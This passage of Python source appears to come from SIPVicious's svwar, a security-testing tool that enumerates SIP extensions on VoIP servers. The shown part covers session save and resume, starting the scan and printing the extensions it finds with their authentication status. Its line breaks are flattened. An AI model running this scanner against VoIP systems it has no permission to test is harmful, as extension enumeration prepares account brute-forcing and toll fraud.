os.path.join(exportpath, 'lastextension.pkl') previousposition = pickle.load(open(lastextensionsrc, 'rb'), encoding='bytes') dictionary.seek(previousposition) guessargs = dictionary else: guessmode = 1 if options.resume is not None: lastextensionsrc = os.path.join(exportpath, 'lastextension.pkl') try: previousextension = pickle.load(open(lastextensionsrc, 'rb'), encoding='bytes') except IOError: logging.critical('Could not read from %s' % lastextensionsrc) exit(1) logging.debug('Previous range: %s' % options.range) options.range = resumeFrom(previousextension, options.range) logging.debug('New range: %s' % options.range) logging.info('Resuming from %s' % previousextension) extensionstotry = getRange(options.range) guessargs = (extensionstotry, options.zeropadding, options.template, options.defaults) if options.save is not None: if options.resume is None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.save) if os.path.exists(exportpath): logging.warning( 'we found a previous scan with the same name. Please choose a new session name') exit(1) logging.debug('creating an export location %s' % exportpath) try: os.makedirs(exportpath, mode=0o700) except OSError: logging.critical( 'could not create the export location %s' % exportpath) exit(1) optionsdst = os.path.join(exportpath, 'options.pkl') logging.debug('saving options to %s' % optionsdst) pickle.dump([options, args], open(optionsdst, 'wb+')) if options.autogetip: tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tmpsocket.connect(("msn.com", 80)) options.externalip = tmpsocket.getsockname()[0] tmpsocket.close() enableack = False if options.method.upper() == 'INVITE': enableack = True sipvicious = TakeASip( host, port=destport, selecttime=options.selecttime, method=options.method, compact=options.enablecompact, guessmode=guessmode, guessargs=guessargs, sessionpath=exportpath, initialcheck=initialcheck, externalip=options.externalip, enableack=enableack, maxlastrecvtime=options.maximumtime, localport=options.localport, domain=options.domain, printdebug=options.printdebug, ipv6=options.ipv6, ) start_time = datetime.now() logging.info("scan started at %s" % str(start_time)) logging.info("start your engines") try: sipvicious.start() if exportpath is not None: open(os.path.join(exportpath, 'closed'), 'w').close() except KeyboardInterrupt: logging.warning('caught your control^c - quiting') except Exception as err: if options.reportBack: logging.critical( "Got unhandled exception : %s\nSending report to author" % err.__str__()) reportBugToAuthor(traceback.format_exc()) else: logging.critical( "Unhandled exception - please run same command with the -R option to send me an automated report") pass logging.exception("Exception") if options.save is not None and sipvicious.nextuser is not None: lastextensiondst = os.path.join(exportpath, 'lastextension.pkl') logging.debug('saving state to %s' % lastextensiondst) try: if guessmode == 1: pickle.dump(sipvicious.nextuser, open( os.path.join(exportpath, 'lastextension.pkl'), 'wb')) logging.debug('logged last extension %s' % sipvicious.nextuser) elif guessmode == 2: pickle.dump(sipvicious.guessargs.tell(), open( os.path.join(exportpath, 'lastextension.pkl'), 'wb')) logging.debug('logged last position %s' % sipvicious.guessargs.tell()) except IOError: logging.warning('could not log the last extension scanned') # display results if not options.quiet: lenres = len(sipvicious.resultauth) if lenres > 0: logging.info("we have %s extensions" % lenres) if (lenres < 400 and options.save is not None) or options.save is None: labels = ('Extension', 'Authentication') rows = list() try: for k in sipvicious.resultauth.keys(): rows.append((k.decode(), sipvicious.resultauth[k].decode())) except AttributeError: for k in sipvicious.resultauth.keys(): rows.append((k, sipvicious.resultauth[k])) print(to_string(rows, header=labels)) else: logging.warning("too many to print - use svreport for this") else: logging.warning("found nothing") end_time = datetime.now() total_time = end_time - start_time logging.info("Total time: %s" % total_time) if __name__ == '__main__': main()